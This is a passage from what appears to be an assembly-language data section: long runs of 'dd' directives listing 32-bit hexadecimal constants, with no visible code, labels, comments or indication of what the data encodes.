1055090Ch, 2FE3611h, 68FDEBADh, 19555791h dd 82640B50h, 0E068FF21h, 4C9AE8A5h, 474B0189h, 6F298A16h dd 0F91D46Fh, 2DBC62B2h, 54C9E5D1h, 3768C13Bh, 21BF5163h dd 0E33500A4h, 10F50022h, 0C158C609h, 0FDA002E6h, 3B277237h dd 0CF3A6831h, 0C158810Dh, 0B050E4D1h, 0FB0C301Fh, 0F228C289h dd 0ED9B019Ah, 895B3987h, 2F6F66DDh, 0C264FC31h, 10905F53h dd 46799F2Dh, 416D374Ch, 0EC0804AAh, 0BAC0126Dh, 2E149CBBh dd 53B9175Bh, 12B7B984h, 4EB707BFh, 0DC42BB8Ah, 2B0641h dd 3DD9DCBDh, 0BE1A7FD0h, 3BAF43A2h, 11F0D52Bh, 78D274B5h dd 0AAA9B6DBh, 6D927A06h, 0FAE5572Ch, 0A908C7ACh, 0ADAD1475h dd 0D9609C04h, 0FB4E8126h, 0A0EE049Ah, 0B538ADC9h, 0ED76CCFFh dd 53CD7120h, 920F03h, 0DFC0DA4Fh, 0F03E0109h, 842D528Bh dd 0C9EC49E9h, 33B70928h, 0C35514ACh, 0D05F20C8h, 0ADDE293Eh dd 0FD18556Ch, 68BFEDB7h, 9758C145h, 7C9CA79h, 7005D07Dh dd 62470CEAh, 0F4728616h, 512EE779h, 81403CF2h, 0A1063834h dd 5AC0BFE1h, 0A807B743h, 0DBA8BEEBh, 49CC053Bh, 56F08C3Eh dd 6D00BD7Ch, 0DA0E20BFh, 0F7811A01h, 53917796h, 3C89BD40h dd 25D0985Ch, 7F9B45C9h, 473F6C9h, 6EC5DCAAh, 0BC080B44h dd 0DFB2D4Dh, 8AFE5F12h, 0DA2E1043h, 8DDF716h, 5027C276h dd 0BFFAFED7h, 0A8597904h, 9D68A0CEh, 6F369639h, 45AD1F6Dh dd 4C1BB70h, 0DC6FCFDDh, 2BD5406h, 774BB975h, 0F7262A47h dd 621F425h, 154653E9h, 0A0DAEA81h, 990BF7DDh, 7F53FC2Ah dd 804EBC2h, 4050CB59h, 3604EBD7h, 6EE90E9Ch, 905587E0h dd 548E0CDFh, 0E3186D1Bh, 0F025C4B7h, 24EB5B87h, 0A8F301A1h dd 63B2920h, 4C8A0B74h, 0A6C23E94h, 6E0D8257h, 0DE66C075h dd 0C6312B5Bh, 0C5E98470h, 2F3788F0h, 44C1191Eh, 97DFE1CAh dd 0ED6C7D6Bh, 5A1FD20h, 8B285A68h, 5B40CB5Eh, 8BFCA1C5h dd 0CF07B01h, 2868FE9h, 5825F29h, 270A9436h, 38BC4717h dd 6C97EA80h, 0A8BD4B57h, 0FA330874h, 0AE92F3E2h, 89A12F6h dd 5587062Bh, 592540FAh, 0B816F65Fh, 5D4A5720h, 15E60E0h dd 35054671h, 0C9414ACBh, 0B110DC48h, 68743B27h, 971450FBh dd 0C94E6159h, 0DAA6C902h, 2BF7D24h, 21F20980h, 0E960CF81h dd 0CD35DA0h, 8869205h, 0F4E07982h, 0D249A8h, 613D3B24h dd 200CF269h, 0DEBD35ABh, 2180DA95h, 639644A9h, 68408D90h dd 94A0FBBh, 0FC442330h, 0BA9794C4h, 4CC133B0h, 730F2479h dd 0FD93CF89h, 38DC026Ah, 0DC5DEF21h, 60851F23h, 207E6813h dd 0E93C68ABh, 0DAFDF05Fh, 0C2BAF10Eh, 99B02Ah, 6BA706A4h dd 224A60E9h, 81FE73h, 0CDC2B290h, 1AEEE956h, 988B64B5h dd 57B7602Dh, 0F46091EFh, 6087165Eh, 0CD0C5D30h, 0DE7FC20h dd 368028D1h, 0BB5420B6h, 24B6B93Fh, 0FB2F3B01h, 92D7A71Ch dd 0C14FDD62h, 4453B193h, 5C13DAAh, 0CDD607CEh, 0EF2CE438h dd 13EA2834h, 6BCAEE6Ch, 0D83EF505h, 0BF910047h, 513B4A12h dd 7827BAC1h, 0B57F72F7h, 0D3873EA3h, 6800D644h, 7A9D259Eh dd 54FA585Fh, 84006674h, 0D530564h, 893A78B9h, 3AFD8028h dd 7D2555CAh, 6A59030Bh, 490A792Dh, 2E38E9A9h, 0FEBF4D00h dd 5F293A5Fh, 9133BA4Fh, 0A448D9F7h, 61ED9830h, 0F1802EA6h dd 0E0C1CC1Dh, 2A842EE1h, 0E493A2AFh, 698F91C2h, 0E8C8C507h dd 93B1BB50h, 32D8EB2Dh, 69A79D95h, 0EF5472C2h, 0D46EA077h dd 0BA557241h, 22F0306Eh, 3A13EA79h, 5D251613h, 0F4C574BFh dd 0DA9D0535h, 0E8E924DAh, 988DAA5Dh, 589F2483h, 0DA210BA6h dd 3B8510E8h, 0F330792Dh, 80250058h, 2D224C01h, 0B1485A0Ah dd 51C8D63h, 0A90B4441h, 58E52935h, 6D1BC82Fh, 4896697h dd 77162041h, 1F8EBF5Dh, 8F250C5Ah, 0B20052DFh, 39E280C7h dd 129DB353h, 8403E3C0h, 5404FA26h, 6609B7F2h, 54D532FDh dd 9E194398h, 65ED8500h, 0C1273B30h, 26067EE5h, 89CAAFA5h dd 53A15EF3h, 2857FF68h, 7C02C9F0h, 64FFEBB8h, 20DD31CBh dd 7370B21Fh, 2EFDD367h, 0FC91AE92h, 0B823AA4Ch, 7B8FAC5Ah dd 9AA06120h, 0D9C30B6Fh, 0D258CC13h, 1C3043E0h, 0B3C40C6Bh dd 68170BE1h, 0C666624Ch, 13989520h, 4966CDFEh, 0E0A52892h dd 2AC5EAC7h, 2B8E79AAh, 0ABA5E9B2h, 9567322Ch, 0E0367809h dd 0C55E97Dh, 98256084h, 30DC6BDh, 7705DCB9h, 0A8F15209h dd 2A2BA86Ch, 0BBF6314Fh, 8E04874Ch, 152D041h, 33B444D3h dd 180B0CBEh, 4F7809E8h, 910CA84Fh, 41FA5657h, 7D713B59h dd 24068ADCh, 663A2525h, 2D7832DAh, 52F7E829h, 34B5177Bh dd 538FE030h, 0C02FA441h, 4340A3E7h, 7EFF557Ch, 76B7BB12h dd 0E9B0075Ch, 27B479AAh, 9C59E95Bh, 85A3272Bh, 8991BBD5h dd 0D1E101C5h, 0C405A25h, 604E15F6h, 5AE60C48h, 55800485h dd 29C02813h, 0ACA42CCFh dd 0DD8901DDh, 89DB82E9h, 0AF9D8E69h, 1727613Ah, 8AEC4D73h dd 69A3BF7Ch, 224CF031h, 282C7D05h, 836962BAh, 0F84261ADh dd 61F58166h, 23E90D65h, 34BB506Bh, 0C54B88A3h, 9D0E0846h dd 9054A35Dh, 0B0584360h, 4F513190h, 0D8F5C2D5h, 0CCF6C031h dd 54AAA34Fh, 842028A6h, 648D2951h, 50EA8E1Eh, 46E91549h dd 51522DF4h, 0EAE9613Bh, 0F631021Bh, 0E28A432Fh, 0AAC142Ch dd 57AD0C09h, 1475799Ah, 60A290D0h, 30B8CD65h, 3D5A8F28h dd 9A3C0CEDh, 2A91B3DBh, 501E998h, 68807D99h, 4E30920Dh dd 1F407639h, 0EF611A9Dh, 7670A0F0h, 6F31F49Fh, 92E82D7Fh dd 301840F2h, 6EC4132h, 0DE122EB4h, 0EFACBF08h, 0A04578F7h dd 9B95180h, 4C135FAAh, 8C96688Eh, 329CCCFEh, 977E0924h dd 32E9A398h, 0B9054F92h, 6C755ED4h, 0C50E82h, 111667BDh dd 3D13E4Ch, 53905B08h, 0CD5C02D1h, 35807509h, 0A71AE30Fh dd 530C0513h, 90DA3DCh, 8F79C083h, 0EE06D9Eh, 2DD00159h dd 19D71262h, 0D9EF06C0h, 0D82E5881h, 0EB3280F4h, 0FF060672h dd 7EB6170h, 0FF0966B5h, 0CAF7676h, 6956F758h, 0DBA06376h dd 40A95FA6h, 0E4F28281h, 6A649C1Bh, 58070432h, 0F7BFC1BFh dd 7E04A8DAh, 0B81E6354h, 0BC44030Fh, 9087A476h, 11003799h dd 0C4AD39D8h, 728ACCh, 0B13C02BFh, 0FE892466h, 22AC13E6h dd 2F5DC370h, 0DD918569h, 12EDF2EAh, 4040CB76h, 1EB604A0h dd 7DAD029h, 5E8ACC4Bh, 0C494D99Dh, 0AEA7AA8Fh, 0BD8CE90Ch dd 729D056Ah, 3F77915Eh, 2AA4A929h, 614FA08Ch, 6D0E2474h dd 0C7283C58h, 5083C308h, 0DBAFE954h, 757A8176h, 31E2B173h dd 99E866CBh, 30E40BBFh, 30C99179h, 2D525019h, 0E0665355h dd 545BDD25h, 0AD093F8h, 0A8BAC6F3h, 0D4A17FDh, 10E4A902h dd 593F2438h, 8A2EAE4Fh, 21F18113h, 0ACA4E920h, 711985FDh dd 63DAAE06h, 1D93F159h, 0E46A7F35h, 76021E22h, 895518D9h dd 54E25FD5h, 76C27074h, 52ED565Fh, 195DE842h, 272C8953h dd 5DFB2Fh, 0D06AA3E1h, 3CBD0F0Ah, 0AB53A2DBh, 96E94520h dd 8649DB27h, 454A33B8h, 7D14E4C1h, 0D68E521Ah, 0D2901C9h dd 4746CD68h, 0C5DE230h, 344D8369h, 0AECC0152h, 0F4D23EA0h dd 82516814h, 77F82F2Bh, 2C5C6813h, 0CC1052A3h, 2AE90B57h dd 0DE82FAECh, 0A40B8FFFh, 715ED65Eh, 36645FDh, 99AE035Ah dd 4111444Bh, 2386B00Bh, 0E96700A8h, 55B78FECh, 0B5E0B674h dd 83A4B47Ah, 5C76DE0Ch, 9A16F0F3h, 0A1B37F2Dh, 3754C000h dd 5BB7E92Bh, 644F92B9h, 0F2F4A473h, 68E10FCDh, 169D2725h dd 0B38EFBC8h, 1CCA9818h, 60B022Dh, 0DF5D5B3Ah, 0D255296Ah dd 99A425BFh, 5BD69475h, 0BE4B070Dh, 28631341h, 42F9CA06h dd 100C7491h, 30A3D67h, 863B43CEh, 26187D50h, 0FD9AB75h dd 0FE8031EEh, 0DB1DE965h, 420E5C95h, 0B35D4B33h, 658D199h dd 5D328363h, 47D42195h, 5FE9C158h, 0F108B80Ah, 416A0D8Ch dd 7F1C505Ah, 0EEB2EC43h, 4609CAA4h, 74429806h, 0DBAC3395h dd 2BC844D1h, 0CA38FEA1h, 4B4BAC97h, 12A539B8h, 0F643AF3Ah dd 5EE3FBE9h, 0EF46AAE0h, 381098F7h, 0ECCF1368h, 7080B449h dd 17697286h, 2CF0168h, 0EC7E6391h, 5031CD83h, 0C4872741h dd 7F48A421h, 0CE693920h, 1B1F7E8Ch, 40434563h, 0EEB855Eh dd 869C14Ah, 4C8A3C80h, 62B573F1h, 0CF480h, 59BD5E0Bh dd 93192F05h, 1D763117h, 9402377Ah, 6F0AB116h, 96E6BB01h dd 1221E82Bh, 0B88B77DAh, 1CF4657Fh, 0C00CF0D1h, 867807E1h dd 8DAF634h, 363F92FAh, 9D31D455h, 0EACEBF48h, 3DC57644h dd 990C74ABh, 0C7672454h, 0DC60273Eh, 400748E5h, 25A8808h dd 0B17EE7E1h, 75987E33h, 5A1840AAh, 0D55C19CBh, 0E92A7864h dd 83BCDC1Bh, 0DE72CAE9h, 0D1620404h, 40050009h, 2F2F1557h dd 5AC1E8C1h, 309FC54Ah, 7613ED0Dh, 20405379h, 3F8F2562h dd 0A70935E9h, 0BF99EA66h, 9582CFF0h, 4071404Ah, 28DDEB00h dd 96290EBBh, 990820FCh, 0E9556150h, 0A8F53E1Eh, 8101776Ch dd 4138E7CBh, 0D64DFC34h, 0F690EA95h, 0B3BC13A2h, 0E0FF50D1h dd 0BC935C97h, 0A30BBB17h, 4F514FDh, 64428618h, 4D60B7C5h dd 0A186FC7h, 0FD0C67D0h, 76732879h, 17C97D8Dh, 0E40174BBh dd 671BD7E7h, 0C7126CCDh, 0C83708BAh, 0E2CC0A94h, 0D7BF7357h dd 893CFBE7h, 0C1A344D9h, 4362E37Ch, 612A5C36h, 0C13B2147h dd 3B069C8Dh, 8184AEB2h, 2ABA1755h, 0B50860EEh, 64ED806Bh dd 0FEF00654h, 0BBF0B13h, 4894D531h, 42AF6391h, 0B107806Bh dd 9D013418h, 0E74B6848h, 89FECB2Dh, 29EE5FD3h, 0D907A90h dd 789AAB20h, 725F53h, 0DCF65A00h, 9570EC80h, 4258E62Ch dd 0EE33E713h, 26302D59h, 0B6521C03h, 20F588F9h, 215A5595h dd 0F8E1C7D1h, 5B795C34h, 0FB8ACD28h, 6DF5A182h, 6930C13h dd 0B70FEDF9h, 6428A314h, 61FB9544h, 28777D0Fh, 39C8CCCBh dd 5FD6EC57h, 0AA9E2CCDh, 9D8C205Fh, 537F4043h, 95D3F298h dd 91EEE912h, 87731757h, 0EE6EF58Fh, 28B254D7h, 0FCE578Dh dd 0F227D495h, 68120458h, 7FCC53A1h, 0FCFC5F9Eh, 90EED78Fh dd 7C29BE1Fh, 36B04075h, 7F57550Eh, 0EBF6C06Eh, 90C3C9F9h dd 5DD40286h, 0EE09278Dh, 49FDCE01h, 182B13D9h, 0BA63C9Eh dd 0C40BA34h, 7CF6088Ch, 20B82D9Fh, 2DCA9F20h, 75957011h dd 0C04AA32h, 0AB61AB5Eh, 146DD7E9h, 3E35C202h, 2BF865A1h dd 3808EA51h, 0B4A2D6AAh, 16C8AFD7h, 0A23B4FBDh, 95781339h dd 15418BABh, 11EA602Dh, 0B44043E1h, 0AAA94AB7h, 75B03EC2h dd 0CFFEC140h, 6E1FE913h, 0B0F83F35h, 31614830h, 0DEB75DEBh dd 4DE1051Ch, 0F86EC11Eh, 0FFB2205Fh, 9FC5C25Eh, 0C7F8C3FBh dd 6A1DC3B9h, 37CE95B3h, 0C5047B50h, 92650147h, 55DCDC0h dd 0C9C70238h, 0AA69E9C6h, 708D02D1h, 2A80A33Fh, 9721EFBAh dd 0AFA04253h, 872D3CF7h, 2E29DDF6h, 485C2709h, 95187527h dd 7FC7D697h, 4BD2A9E5h, 7C64D51Dh, 0DEF7FB38h, 805A69F9h dd 56C9E937h, 0E81C4BD2h, 6FD31CCh, 0E906A9EFh, 14A1CD03h dd 0D1B27EE1h, 303A2748h, 13581267h, 4E16B2Dh, 0DED49A0Dh dd 2038F518h, 18CC948Bh, 130D32BEh, 0F2F22106h, 0E2819DEAh dd 18066FDCh, 0BF65A07Eh, 136E5B02h, 5DD7DDE9h, 80108C91h dd 42DCBEF7h, 954E1FECh, 6E63082h, 7858B442h, 0E00CBF07h dd 0F1A2621Ah, 425B7939h, 69FE9514h, 10BFC8C9h, 0FC7CBDE5h dd 0E8AB5E64h, 91E984CAh, 13EDEB9h, 9F07F25Eh, 2834BF07h dd 72EFC54Fh, 0B352D781h, 2DBE72Fh, 0EA8094B2h, 0E4E97EB4h dd 9586040Ch, 2C681E8Ch, 0C7AE576Fh, 13CF9C34h, 109F094h dd 2BAA80DDh, 953D7D5Fh, 80151275h, 5945D672h, 0FE509F0Dh dd 780EE10Eh, 0F801327Ch, 5F496DE9h, 5A9A8F20h, 1734B828h dd 9E4992Bh, 0EF860947h, 0BEF489F2h, 0AB0C9883h, 0FB4C0321h dd 0C139496Ah, 120B06B3h, 57EA18B6h, 1CCDE280h, 62BD7E94h dd 0D8706A3Ah, 123E9D55h, 6AAE94Fh, 74EF299Ah, 44AD094Eh dd 643D05D6h, 715897B4h, 93C8295Ah, 0FEA43916h, 20936044h dd 0FB71B62Dh, 6573267Fh, 45DDC2E1h, 0F780872Dh, 0ECF8045Fh dd 63E08D33h, 0C04866Fh, 0A84AB42Ch, 0CCFE0Bh, 0E530FDAAh dd 98517958h, 860162B8h, 8A09D3E3h, 0B40AC5E1h, 7169EDE2h dd 92E650B6h, 4484B2B4h, 0F4C0320Fh, 2A6106C9h, 2FBA6F19h dd 9D277AE9h, 9A52A0EAh dd 4AF85671h, 4A7BA559h, 4E061DBDh, 8C55327Ch, 2D5BA440h dd 1841EA88h, 0F20684FFh, 0C282CAFEh, 0A4CF90E4h, 27FD1F58h dd 0E8291241h, 17E84AD6h, 0AE21BFB5h, 188B4912h, 9D84C35Ch dd 0A4B6AA92h, 4F518F4Fh, 0A16C054Bh, 43FA6893h, 8D4C8123h dd 0E320E704h, 7EC532h, 2170CD3Bh, 0F29019E1h, 9DFDFC4Ch dd 13C908CEh, 1247CBABh, 5BAC9236h, 1A5F81F7h, 0CECD403Bh dd 181AF61Bh, 0C029F2E9h, 1268962Ah, 0AB015AE7h, 0D0E15DCDh dd 68CA0F32h, 295F0918h, 0FDE94E48h, 8BB2CE4Bh, 38A93558h dd 0B84D0B3Eh, 517D5013h, 0BC3A08EAh, 0CC08696Bh, 49282DDAh dd 0BA276746h, 0D4125D91h, 0F1F5C87Dh, 98A3026Ch, 628FE99Fh dd 2AB4A2FFh, 627DF637h, 7B517C5Ah, 0E807592Dh, 2CAD40A5h dd 0E68019F1h, 0F320439h, 0F8446068h, 0AE8BC44Eh, 0FDB0B00h dd 9B73C85h, 225B5583h, 788B22E9h, 0C11A2243h, 2F4F5652h dd 792A47E1h, 88DD6EBBh, 4AB3CB6Bh, 0DE69262Ch, 54F2C3A5h dd 1912A72h, 5193F4D5h, 0A106C4BFh, 2B81864Ah, 739A4E1h dd 3BE307Dh, 0C359AEFCh, 48A8006Fh, 0EE811B2Fh, 4A2C2CC0h dd 0ADCEBEE0h, 0F2FBE4EBh, 0D23D52E4h, 826D9BFh, 0E9FE5724h dd 44D71B27h, 0EC9620D0h, 82F3892Ch, 3E4AFA39h, 815D6A80h dd 727916E6h, 6FB304ACh, 0C4E2A8D4h, 0F340A58Ch, 70B869C4h dd 844BDBF6h, 0D8EE7875h, 584B86C2h, 0C3A769ACh, 0CB2C898Eh dd 9D0351E0h, 3B55EB5Ch, 7C18DFC4h, 46880C62h, 58C8985Ch dd 49A85FECh, 3A06E9E1h, 8276B8ADh, 66C69B60h, 0B312D026h dd 5EB0BD02h, 0BD7DC98h, 62F760E9h, 16860943h, 9734B014h dd 38BBB2C0h, 7AE24158h, 4FE17759h, 0E36E13A1h, 559576CCh dd 50525C94h, 861650D2h, 30A641h, 0BA5CD68Fh, 316851DCh dd 0ED270E02h, 3C472F1h, 2A051CF2h, 6AD5E260h, 0FA365C2Dh dd 0A06571D5h, 418841BAh, 32DFC03Eh, 0F4ED9EDCh, 0C8E045BEh dd 0CD4055A0h, 53D00431h, 0F828EE68h, 784DC035h, 0E45E5039h dd 27173DB8h, 0E64226h, 46707959h, 0E61DF581h, 0E98BCE0Ch dd 0B55650E1h, 5904D0D3h, 8EBF3C87h, 341100ACh, 0D1E90248h dd 9AF0B269h, 0E02BE991h, 8B4C62D2h, 61A881DFh, 803B6383h dd 1EF24F4Ah, 6A01E3ECh, 0E9439673h, 24346B7Ch, 0A6ED3080h dd 0EE880306h, 0D8406FB0h, 0B53616B0h, 502BCBEh, 4C865166h dd 0D1F600C1h, 7EE90640h, 4CED2B9h, 0AEEBA4Ah, 0D6EEEC5Fh dd 2256A061h, 0CC3B8205h, 6A1C3BC6h, 8182ED3Eh, 763107EBh dd 80260B66h, 0C89FE5C4h, 0DD9CF13Eh, 8C1F8B6Bh, 0D381BC5Ch dd 5D183167h, 4A88221h, 372309AEh, 68D86086h, 25D2F4B7h dd 0ECBF39E5h, 0EEC87164h, 2FF0926Bh, 4FDE6FB7h, 0F6A4E703h dd 0C1EFA9DFh, 0E06DC4E0h, 0EB96B8FCh, 1EF4A940h, 28AB02B2h dd 9146E9E2h, 0A7C5D95Dh, 8A0062FEh, 817BB769h, 6ADC0BE9h dd 54003D64h, 212223B2h, 0EF825DB2h, 698D6AC0h, 4A8B149Eh dd 0E47A3058h, 0C0BB80ECh, 764F4617h, 48316CB8h, 68D329D7h dd 0D102090Ah, 0B40600EBh, 905B710h, 0B6D7E951h, 1524CF5h dd 544ABE56h, 84525D01h, 5827B1B0h, 96B386FFh, 3B008D8h dd 0DCA6148Ch, 3104D089h, 0E86DE9D6h, 0D488033Fh, 0D296B35Ah dd 9E5850h, 0BA244DB8h, 6E0C161h, 818D54B7h, 3E5D67B9h dd 4A26603Fh, 0D0ED3A3Ch, 3B28E5E0h, 0D8648486h, 7AA205ADh dd 0B640DB16h, 0BCB5165Eh, 1752B135h, 0A88421B9h, 85891F2Ah dd 9503F42Fh, 7F1A9DC3h, 0B15C30BEh, 4556500Fh, 33319818h dd 2681B22Ah, 127D42BDh, 0F0882158h, 0A99F6B5Bh, 55B3C269h dd 81A850C7h, 0AD17AD4Fh, 2F657DEAh, 6C9FBB41h, 907042ABh dd 6D60026Ah, 0E2ECE93Dh, 0BF2BE4D5h, 0E9C1BED1h, 6182935Fh dd 0EB9FFBC6h, 2F3FE9C0h, 0B4F2494h, 99C5E368h, 54C9D22Ch dd 81FC7A45h, 0C6AD2AA9h, 7938F2D4h, 0E4CEFC5Bh, 0DD019212h dd 3D7013A3h, 20155B4Ah, 0D39E205Eh, 843C50F4h, 3F331803h dd 0C4B4010Dh, 0DA084225h, 0B3895D5Bh, 4C2FEE2h, 48FE3F5h dd 472E6D28h, 0B8968269h, 6F7155h, 1F2822F2h, 5909E581h dd 262CE5Dh, 6413AE40h, 0A48585D9h, 45AA02FAh, 0CA638A3Bh dd 27A7558h, 0F47DDE54h, 0D8247521h, 4B0E13D8h, 0ED29D865h dd 0AC741E5Dh, 0C097D232h, 3E685CCEh, 0C10889B1h, 4F3831D6h dd 0D5CA06DCh, 8933F681h, 0AE9DF7F6h, 5C1347A0h, 73168762h dd 0BA3FCC08h, 7DDCC2B7h, 0D3645751h, 4A5527B4h, 5B4AE738h dd 2B6829FEh, 17C521A7h, 6F41B39Ah, 11DF664Eh, 3F050916h dd 68025022h, 0A57A9607h, 5341AD0Ah, 0F402F509h, 0F84D0672h dd 7A5C2FF8h, 0FB786A09h, 13B9D04Ch, 0EB5035C1h, 0DA015128h dd 0F52723D4h, 8B7F261Bh, 1113B4Dh, 0BA6CA81h, 70836F94h dd 45EE12B3h, 79CFC806h, 3A0C01F1h, 0CCC3E53h, 0E61B2A16h dd 0D5731382h, 4AC31F55h, 5C183CEFh, 0A4E2FA9Ch, 0A32E7F09h dd 7C5C27E9h, 0D2421D21h, 40CFA20Ch, 1E735D8Bh, 89A7F2Fh dd 62DBDC55h, 13548BCAh, 144C3D0Ch, 54F0068h, 0C15F182Dh dd 419807E7h, 3E54CD0Ch, 13D40C25h, 0C0D3031Bh, 693CE995h dd 0D17133BFh, 4F837CD4h, 0F88205Eh, 0FEE5C5D3h, 0F92E0A39h dd 0FDE9D6FFh, 0FA63F213h, 9CFE1734h, 0B84AA2A8h, 689A9CEAh dd 23555731h, 5902DDDAh, 7625D0DDh, 45F697CBh, 7CC5EB6Eh dd 149A832Bh, 0C9D14348h, 3A1D219Ch, 0EE279FE0h, 0E9910942h dd 0EE48D54Eh, 7306318Dh, 89F2814Ah, 0ABE2970Dh, 2645ECF7h dd 0AFA423AEh, 0C7A6358h, 772CD637h, 2B4EB760h, 0D0F9FE50h dd 0D36B086Eh, 4942B15Eh, 60E75C25h, 55C44650h, 0FB00587Ch dd 54ADC29h, 10AE67C7h, 6E2D4803h, 14EBA002h, 28311BB8h dd 9C358C6h, 50E17C34h, 22D74B80h, 18C06F19h, 39B4772Ah dd 0E9F21629h, 0BAEBC0E8h, 303D9F99h, 0A1B124DDh, 6CBDD9AFh dd 0AA2FE9FBh, 450F189Bh, 0F84A8178h, 0A5976C74h, 91BAEA85h dd 70FA2917h, 5CDD9A81h, 0B2DF0C0h, 9D664119h, 0E98FFEE5h dd 71FE3261h, 8255FD29h, 0CE1E9F50h, 496A7173h, 8F7A2057h dd 2DBB0E71h, 0E4D3FD89h, 7840ED01h, 0B3701627h, 88899F54h dd 0B0BFBEF5h, 17C92E95h, 0E6810E5Dh, 2E0F1FA0h, 0D69A31E9h dd 504DBA04h, 1DC00CB4h, 5F69CDBFh, 1A8AC24Bh, 0D95FDEEAh dd 80DC9302h, 580EB8F4h, 95A8A16h, 70F37480h, 42A1041Ch dd 0F3D247E9h, 0DABBD701h, 0E94A617Ah, 0BD29DE7Ch, 0BA075705h dd 0BD0F872h, 51159168h, 0C9E889Ch, 5E25002Ch, 315359ADh dd 0B00B6FB0h, 5A58FC5Bh, 5688287Ch, 12C92425h, 3A52E1F5h dd 4610D89Ah, 16FA4B1Bh, 6598098Ah, 0B878C5F8h, 5BA04712h dd 6F4CE5AAh, 55C1F5ACh, 2F275F68h, 0A0541833h, 4BD6718h dd 0AA1D7A92h, 0E9048829h, 797EB827h, 0FE84C9CEh, 0EE3CD4DEh dd 413BB5C8h, 0D002409Dh, 765C0A02h, 5003002Fh, 5E3170B8h dd 73BE922Ch, 68FF1383h, 0FF93533Ch, 1D1D0665h, 505726DCh dd 0E99078BAh, 57914A25h, 0B56F3A9h, 573C1571h, 58054002h dd 6468502Ah, 18BF8F71h, 8070413Bh, 16059A35h, 0C2017DADh dd 47A5B316h, 2E37013Ah, 39083102h, 8EBF92EFh, 209C4B81h dd 6B53970Ch, 0AC50E924h, 4C83828Eh, 0DF4AFB2Bh, 9ED8ABAh dd 8008EEC1h, 0A202F258h, 0FC60905Eh, 48641251h, 7947FF21h dd 0CA30F7B1h, 27E9FE87h, 9655CF75h, 525A5257h, 9395E909h dd 9C484EC8h, 844312B7h dd 9AEA548Bh, 0C83308Ah, 0B7F4F8E9h, 35680DA2h, 0F768837Eh dd 0C179E98Bh, 53D84BEDh, 0EF00968Dh, 0B98EE064h, 4B61841Dh dd 0E0F0B857h, 9D8CC9E9h, 0F6ADF67Eh, 0C7AB4FF4h, 31C0B4E2h dd 5F81672Eh, 7D9BE47Ah, 2D7F7316h, 87E95191h, 0EAEC127Eh dd 42678129h, 3883E909h, 56D94CC9h, 0A181EDDDh, 46163BC7h dd 914BE8A6h, 6FEFBB3Ah, 0F8FDAD57h, 0ED08F04Ah, 1051F40h dd 658D498Eh, 3E422968h, 75CDF78Ch, 0F8E0BF18h, 0DB3B01CAh dd 2CE2035Ch, 1C23AC5Fh, 560392BCh, 246FAFDh, 1D9088Ah dd 691F9FEEh, 44C62921h, 0C081AA4h, 51B1E875h, 0CDD19DB9h dd 0C050E3Eh, 0CE296607h, 59088144h, 568C1E82h, 0AE56607Bh dd 0C3BAA59h, 80984A92h, 9713A09h, 58957E52h, 534E1F68h dd 41D9328Ch, 0A6736040h, 480E6652h, 24A74E13h, 0B5C4076Fh dd 0D7A9FD44h, 0F96F27A1h, 7FEE8515h, 0CB28E421h, 0CA501233h dd 0E7D9211h, 4FDC6866h, 8CC57F9Bh, 63FF02C2h, 0E3844EA8h dd 9BBDFF0h, 79882CADh, 0BA11A284h, 5C270C2Eh, 51007D44h dd 0C1050F28h, 30E908E7h, 0ED37986Eh, 0B63B679Dh, 0AEF50060h dd 0E937DF18h, 5BA25BA5h, 0F6F804FCh, 62285220h, 373B870Bh dd 490F2C01h, 0FBF26A13h, 0AD3D2D97h, 0B7DB4614h, 3D2C5359h dd 0D145700Bh, 2F6C828Fh, 0B1406555h, 50441FFh, 75C0E90Bh dd 0C6F088AAh, 88E799Dh, 572522DFh, 0BB492FECh, 0B9BE027Ch dd 4037A710h, 7F1C2998h, 2771E3B1h, 0CE05E432h, 8749D571h dd 0BF4DE57Dh, 2F39330h, 0EA414BD7h, 0F6F0838h, 49510601h dd 0F4E6E9A0h, 0A0EA729Ah, 1237C64Eh, 0F9F0AE3h, 2CED8036h dd 0EB967F05h, 8D4C6B5Ch, 4067EAC9h, 0B60A357Eh, 934EF26Ah dd 0B1545B00h, 0B709E944h, 4822FF4h, 764E3608h, 0FAA53E8Dh dd 488561E0h, 546D0D2Ch, 73488710h, 68048420h, 0D7C3F28h dd 0BEEBF9C1h, 3C086FECh, 0E9895953h, 14573597h, 0E7FEB7E0h dd 0DE5EF189h, 2DF26EEh, 1C986B17h, 75D1642h, 0A9CEFCD3h dd 0D3C570C0h, 4698E018h, 0B53B1EC0h, 2EE9E193h, 8B7CC7EFh dd 8F50D9F7h, 0A32B8E0Bh, 688A407Fh, 0BF33623Ah, 3B5A14C7h dd 6D1FC404h, 0CBAF01D0h, 61212FD6h, 81092CBBh, 740BBEC8h dd 928769B7h, 4094BA52h, 0D6319C63h, 0F46B2699h, 0D5260817h dd 2315E0Bh, 5B02788h, 0BD6CC25Ch, 61FC154Ah, 0DE86F05h dd 160464AAh, 0C094210Bh, 70C25195h, 50713A2Eh, 0CD6A83F8h dd 0A1357A17h, 17C8E8E4h, 9271D668h, 917793F4h, 8846B26h dd 0A31FD468h, 8C991043h, 8EC3800Bh, 99D56EF7h, 1FF10977h dd 0D078DD56h, 53EC1635h, 52861FDEh, 0E16E66D9h, 0C40832B5h dd 0D78D630Dh, 0D5E190BAh, 0FC77E53h, 0D1D08E80h, 0DA292EC4h dd 8B1021h, 852F26BFh, 0B57C014Dh, 8989E671h, 9E98F718h dd 0A02E67EDh, 0C3A0FC43h, 0A14E3709h, 820757Ch, 835EB1CCh dd 0C018E918h, 953C77B3h, 0E0126BDBh, 0B1D26C5h, 2BBE3644h dd 20C292FFh, 644F33D9h, 0BC112CCFh, 0F52C41Dh, 10A5B9B1h dd 8677B8C5h, 76675D57h, 9F01FE5Fh, 0AEBD6300h, 20273274h dd 0E6E46031h, 0D92E03C9h, 0FD3EE942h, 0E588900Eh, 4AD76F53h dd 78A7A314h, 4A042015h, 755D5427h, 4FA0FB14h, 0C1E1D106h dd 0D2B83B01h, 0F8E5D9CFh, 8B080102h, 0E357E069h, 85AD294Bh dd 0F44B514Dh, 0D24EEEBFh, 0FBD38BFh, 0C2D8AEABh, 7E78388Dh dd 9BF9FF6h, 2167FF72h, 774FCC89h, 0ECD9D9BBh, 0EA4A6A9Fh dd 73AFDA7Bh, 29EA4CD1h, 0A0479A40h, 3B5786FAh, 0EF270DEEh dd 1326AA76h, 1724400Eh, 682760FFh, 9BAC4F80h, 3920BEB0h dd 0F17D98A2h, 0C00B99C0h, 0EBA31D0Ch, 0F54B3149h, 1210B7F7h dd 1BB05B2Fh, 0F851B72Ah, 0B09DE68Bh, 62A9680Bh, 42FE3918h dd 0C4E4770Fh, 